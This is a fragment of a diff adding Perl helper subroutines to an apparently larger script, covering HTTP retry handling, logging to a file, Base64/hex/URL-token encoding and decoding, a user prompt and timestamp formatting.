+ $numRetries++;
728
+ sleep 10;
729
+ } else {
730
+ $noConnect = 0;
731
+ $totalRequests++;
732
+ }
733
+ } until (($noConnect == 0) || ($numRetries >= 15));
734
+ if ($numRetries >= 15) {
735
+ &myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0);
736
+ exit;
737
+ }
738
+ return ($status, $content, $location, $contentLength);
739
+ }
740
+
741
+ sub myPrint {
742
+ my ($printData, $printLevel) = @_;
743
+ $printData .= "\n";
744
+ if (($verbose && $printLevel > 0) || $printLevel < 1 || $superVerbose) {
745
+ print $printData;
746
+ &writeFile("ActivityLog.txt",$printData);
747
+ }
748
+ }
749
+
750
+ sub myEncode {
751
+ my ($toEncode, $format) = @_;
752
+ return &encodeDecode($toEncode, 0, $format);
753
+ }
754
+
755
+ sub myDecode {
756
+ my ($toDecode, $format) = @_;
757
+ return &encodeDecode($toDecode, 1, $format);
758
+ }
759
+
760
+ sub encodeDecode {
761
+ my ($toEncodeDecode, $oper, $format) = @_;
762
+ # Oper: 0=Encode, 1=Decode
763
+ # Format: 0=Base64, 1 Hex Lower, 2 Hex Upper, 3=NetUrlToken
764
+ my $returnVal = "";
765
+ if ($format == 1 || $format == 2) {
766
+ # HEX
767
+ if ($oper == 1) {
768
+ #Decode
769
+ #Always convert to lower when decoding)
770
+ $toEncodeDecode = lc($toEncodeDecode);
771
+ $returnVal = pack("H*",$toEncodeDecode);
772
+ } else {
773
+ #Encode
774
+ $returnVal = unpack("H*",$toEncodeDecode);
775
+ if ($format == 2) {
776
+ #Uppercase
777
+ $returnVal = uc($returnVal)
778
+ }
779
+ }
780
+ } elsif ($format == 3) {
781
+ # NetUrlToken
782
+ if ($oper == 1) {
783
+ $returnVal = &web64Decode($toEncodeDecode,1);
784
+ } else {
785
+ $returnVal = &web64Encode($toEncodeDecode,1);
786
+ }
787
+ } elsif ($format == 4) {
788
+ # Web64
789
+ if ($oper == 1) {
790
+ $returnVal = &web64Decode($toEncodeDecode,0);
791
+ } else {
792
+ $returnVal = &web64Encode($toEncodeDecode,0);
793
+ }
794
+ } else {
795
+ # B64
796
+ if ($oper == 1) {
797
+ $returnVal = &decode_base64($toEncodeDecode);
798
+ } else {
799
+ $returnVal = &encode_base64($toEncodeDecode);
800
+ $returnVal =~ s/(\r|\n)//g;
801
+ }
802
+ }
803
+
804
+ return $returnVal;
805
+ }
806
+
807
+
808
+ sub web64Encode {
809
+ my ($input, $net) = @_;
810
+ # net: 0=No Padding Number, 1=Padding (NetUrlToken)
811
+ $input = &encode_base64($input);
812
+ $input =~ s/(\r|\n)//g;
813
+ $input =~ s/\+/\-/g;
814
+ $input =~ s/\//\_/g;
815
+ my $count = $input =~ s/\=//g;
816
+ $count = 0 if ($count eq "");
817
+ $input.=$count if ($net == 1);
818
+ return $input;
819
+ }
820
+
821
+ sub web64Decode {
822
+ my ($input, $net) = @_;
823
+ # net: 0=No Padding Number, 1=Padding (NetUrlToken)
824
+ $input =~ s/\-/\+/g;
825
+ $input =~ s/\_/\//g;
826
+ if ($net == 1) {
827
+ my $count = chop($input);
828
+ $input = $input.("=" x int($count));
829
+ }
830
+ return &decode_base64($input);
831
+ }
832
+
833
+
834
+ sub promptUser {
835
+ my($prompt, $default, $yn) = @_;
836
+ my $defaultValue = $default ? "[$default]" : "";
837
+ print "$prompt $defaultValue: ";
838
+ chomp(my $input = <STDIN>);
839
+
840
+ $input = $input ? $input : $default;
841
+ if ($yn) {
842
+ if ($input =~ /^y|n|a$/) {
843
+ return $input;
844
+ } else {
845
+ &promptUser($prompt, $default, $yn);
846
+ }
847
+ } else {
848
+ if ($input =~ /^-?\d/ && $input > 0 && $input < 256) {
849
+ return $input;
850
+ } else {
851
+ &promptUser($prompt, $default);
852
+ }
853
+ }
854
+ }
855
+
856
+ sub writeFile {
857
+ my ($fileName, $fileContent) = @_;
858
+ if ($logFiles) {
859
+ if ($dirExists != 1) {
860
+ system($dirCmd." ".$dirName);
861
+ $dirExists = 1;
862
+ }
863
+ $fileName = $dirName.$dirSlash.$fileName;
864
+ open(my $OUTFILE, '>>', $fileName) or die "ERROR: Can't write to file $fileName\n";
865
+ print $OUTFILE $fileContent;
866
+ close($OUTFILE);
867
+ }
868
+ }
869
+
870
+ sub getTime {
871
+ my ($format) = @_;
872
+ my ($second, $minute, $hour, $day, $month, $year, $weekday, $dayofyear, $isDST) = localtime(time);
873
+ my @months = ("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC");
874
+ my @days = ("SUN","MON","TUE","WED","THU","FRI","SAT");
875
+ $month=sprintf("%02d",$month);
876
+ $day=sprintf("%02d",$day);
877
+ $hour=sprintf("%02d",$hour);
878
+ $minute=sprintf("%02d",$minute);
879
+ $second=sprintf("%02d", $second);
880
+ $year =~ s/^.//;
881
+ if ($format eq "F") {
882
+ return $day.$months[$month].$year."-".( ($hour * 3600) + ($minute * 60) + ($second) );
883
+ } elsif ($format eq "S") {
884
+ return $months[$month]." ".$day.", 20".$year." at ".$hour.":".$minute.":".$second;
885
+ } else {
886
+ return $hour.":".$minute.":".$second;
887
+ }
888
+ }
889
+